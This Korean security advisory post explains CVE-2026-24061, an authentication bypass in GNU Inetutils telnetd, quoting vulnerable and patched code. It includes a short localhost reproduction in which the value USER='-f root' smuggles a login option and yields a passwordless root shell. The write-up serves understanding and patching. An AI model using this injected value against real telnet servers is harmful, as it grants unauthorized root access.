[하루한줄] CVE-2026-24061: GNU Inetutils의 telnetd에서 발생 원격 인증 우회 취약점
URL
Affected Version
- 1.9.3 ≤ GNU Inetutils telnetd ≤ 2.7
Explain
해당 취약점은 GNU Inetutils 패키지에 포함된 Telnetd(Telnet 서버 데몬)에서 발생한 원격 인증 우회 취약점으로, telnetd가 사용자 인증을 처리하는 과정에서 환경변수 USER를 검증 없이 로그인 프로그램에 전달하면서 발생합니다.
telnetd는 원격 클라이언트가 Telnet으로 접속하면 내부적으로 /bin/login을 실행해, 사용자 인증을 실행합니다. 이 때 사용자 이름은 환경 변수 USER 값을 기반으로 전달되는데, 일반적으로 아래와 같은 형식으로 로그인 됩니다.
/bin/login -p <username>
문제는 telnetd가 USER 환경 변수의 값을 사용자 이름으로만 가정하고, 해당 값이 login 프로그램의 옵션으로 해석될 수 있는 문자열인지 여부를 전혀 검증하지 않는다는 점입니다.
//before patch
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
예를 들어, 공격자는 Telnet 연결 시 USER 환경 변수에 정상적인 사용자 이름 대신, 다음과 같은 값을 전달할 수 있습니다.
USER="-f root"
f 옵션은 /bin/login에서 이미 인증된 사용자로 간주하고 비밀번호 검증을 생략하도록 하는 옵션인데, 해당 값이 그대로 전달되면 telnetd는 내부적으로 아래와 같이 로그인 프로그램을 실행할 수 있습니다.
/bin/login -p -f root
이처럼 root 사용자를 인증 절차 없이 로그인하여 root 권한 쉘을 획득할 수 있습니다.
Example
sudo apt-get install inetutils-telnetd telnet
sudo sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
sudo /etc/init.d/inetutils-inetd start
USER='-f root' telnet -a localhost
root@hostname:~#
Patch
해당 취약점은 GNU Inetutils 2.8 버전에서 옵션이나 쉘 메타 문자가 포함될 경우 무시하도록 패치되었습니다.
case 'U':
{
/* Ignore user names starting with '-' or containing shell
metachars, as they can cause trouble. */
char const *u = getenv("USER");
return xstrdup(
(u && *u != '-'
&& !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
? u : ""
);
}
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.